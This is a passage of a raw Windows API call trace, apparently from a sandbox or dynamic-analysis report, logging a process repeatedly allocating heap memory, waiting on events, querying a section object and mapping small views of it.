[0148.513] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.513] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.513] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.513] ResetEvent (hEvent=0xe8) returned 1 [0148.513] SetEvent (hEvent=0xec) returned 1 [0148.514] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.514] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.514] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.514] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.514] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0148.514] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0148.514] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0148.514] ResetEvent (hEvent=0xe8) returned 1 [0148.514] SetEvent (hEvent=0xec) returned 1 [0148.514] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.514] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.514] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.514] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.514] ResetEvent (hEvent=0xe8) returned 1 [0148.514] SetEvent (hEvent=0xec) returned 1 [0148.515] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.515] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.515] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.515] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.515] ResetEvent (hEvent=0xe8) returned 1 [0148.515] SetEvent (hEvent=0xec) returned 1 [0148.515] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.515] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.515] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.515] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.515] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0148.516] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0148.516] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0148.516] ResetEvent (hEvent=0xe8) returned 1 [0148.516] SetEvent (hEvent=0xec) returned 1 [0148.516] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.516] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.516] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.516] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.516] ResetEvent (hEvent=0xe8) returned 1 [0148.516] SetEvent (hEvent=0xec) returned 1 [0148.517] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.517] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.517] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.517] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.517] ResetEvent (hEvent=0xe8) returned 1 [0148.517] SetEvent (hEvent=0xec) returned 1 [0148.517] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.517] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.517] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.517] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.517] ResetEvent (hEvent=0xe8) returned 1 [0148.517] SetEvent (hEvent=0xec) returned 1 [0148.518] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.518] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.518] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.518] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.518] ResetEvent (hEvent=0xe8) returned 1 [0148.518] SetEvent (hEvent=0xec) returned 1 [0148.518] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.518] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.518] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.518] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.518] ResetEvent (hEvent=0xe8) returned 1 [0148.518] SetEvent (hEvent=0xec) returned 1 [0148.519] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.519] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.519] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.519] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.519] ResetEvent (hEvent=0xe8) returned 1 [0148.519] SetEvent (hEvent=0xec) returned 1 [0148.519] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.519] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.519] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.519] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.519] ResetEvent (hEvent=0xe8) returned 1 [0148.520] SetEvent (hEvent=0xec) returned 1 [0148.520] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.520] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.520] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.520] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.520] ResetEvent (hEvent=0xe8) returned 1 [0148.520] SetEvent (hEvent=0xec) returned 1 [0148.520] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.520] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.520] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.521] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.521] ResetEvent (hEvent=0xe8) returned 1 [0148.521] SetEvent (hEvent=0xec) returned 1 [0148.521] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.521] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.521] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.521] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.521] ResetEvent (hEvent=0xe8) returned 1 [0148.521] SetEvent (hEvent=0xec) returned 1 [0148.522] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.522] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.522] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.522] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.522] ResetEvent (hEvent=0xe8) returned 1 [0148.522] SetEvent (hEvent=0xec) returned 1 [0148.522] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.522] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.522] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.522] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.522] ResetEvent (hEvent=0xe8) returned 1 [0148.522] SetEvent (hEvent=0xec) returned 1 [0148.523] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.523] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.523] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.523] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.523] ResetEvent (hEvent=0xe8) returned 1 [0148.523] SetEvent (hEvent=0xec) returned 1 [0148.523] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.523] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.523] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.523] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.523] ResetEvent (hEvent=0xe8) returned 1 [0148.523] SetEvent (hEvent=0xec) returned 1 [0148.526] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.526] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.526] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.526] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.526] ResetEvent (hEvent=0xe8) returned 1 [0148.526] SetEvent (hEvent=0xec) returned 1 [0148.526] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.526] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.526] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.526] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.527] ResetEvent (hEvent=0xe8) returned 1 [0148.527] SetEvent (hEvent=0xec) returned 1 [0148.527] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.527] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.527] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.527] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.527] ResetEvent (hEvent=0xe8) returned 1 [0148.527] SetEvent (hEvent=0xec) returned 1 [0148.528] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.528] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.528] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.528] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.528] ResetEvent (hEvent=0xe8) returned 1 [0148.528] SetEvent (hEvent=0xec) returned 1 [0148.528] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.528] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.529] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.529] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.529] ResetEvent (hEvent=0xe8) returned 1 [0148.529] SetEvent (hEvent=0xec) returned 1 [0148.529] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.529] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.529] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.529] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.529] ResetEvent (hEvent=0xe8) returned 1 [0148.529] SetEvent (hEvent=0xec) returned 1 [0148.530] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.530] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.530] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.530] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.530] ResetEvent (hEvent=0xe8) returned 1 [0148.530] SetEvent (hEvent=0xec) returned 1 [0148.530] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.530] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.530] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.531] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.531] ResetEvent (hEvent=0xe8) returned 1 [0148.531] SetEvent (hEvent=0xec) returned 1 [0148.531] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.531] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.531] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.531] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.531] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0148.531] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0148.531] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0148.531] ResetEvent (hEvent=0xe8) returned 1 [0148.531] SetEvent (hEvent=0xec) returned 1 [0148.531] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.531] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.813] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.813] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.813] ResetEvent (hEvent=0xe8) returned 1 [0148.813] SetEvent (hEvent=0xec) returned 1 [0148.814] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.814] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.814] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.814] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.814] ResetEvent (hEvent=0xe8) returned 1 [0148.814] SetEvent (hEvent=0xec) returned 1 [0148.814] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.814] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.815] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.815] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.815] ResetEvent (hEvent=0xe8) returned 1 [0148.815] SetEvent (hEvent=0xec) returned 1 [0148.815] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.815] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.815] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.815] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.815] ResetEvent (hEvent=0xe8) returned 1 [0148.815] SetEvent (hEvent=0xec) returned 1 [0148.816] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.816] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.816] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.816] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.816] ResetEvent (hEvent=0xe8) returned 1 [0148.816] SetEvent (hEvent=0xec) returned 1 [0148.816] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.816] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.816] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.816] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.816] ResetEvent (hEvent=0xe8) returned 1 [0148.816] SetEvent (hEvent=0xec) returned 1 [0148.817] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.817] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.817] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.817] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.817] ResetEvent (hEvent=0xe8) returned 1 [0148.817] SetEvent (hEvent=0xec) returned 1 [0148.817] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.817] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.817] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.817] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.817] ResetEvent (hEvent=0xe8) returned 1 [0148.818] SetEvent (hEvent=0xec) returned 1 [0148.818] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.818] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.818] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.818] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.818] ResetEvent (hEvent=0xe8) returned 1 [0148.818] SetEvent (hEvent=0xec) returned 1 [0148.818] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.818] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.819] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.819] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.819] ResetEvent (hEvent=0xe8) returned 1 [0148.819] SetEvent (hEvent=0xec) returned 1 [0148.819] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.819] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.819] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.819] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.819] ResetEvent (hEvent=0xe8) returned 1 [0148.819] SetEvent (hEvent=0xec) returned 1 [0148.820] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, 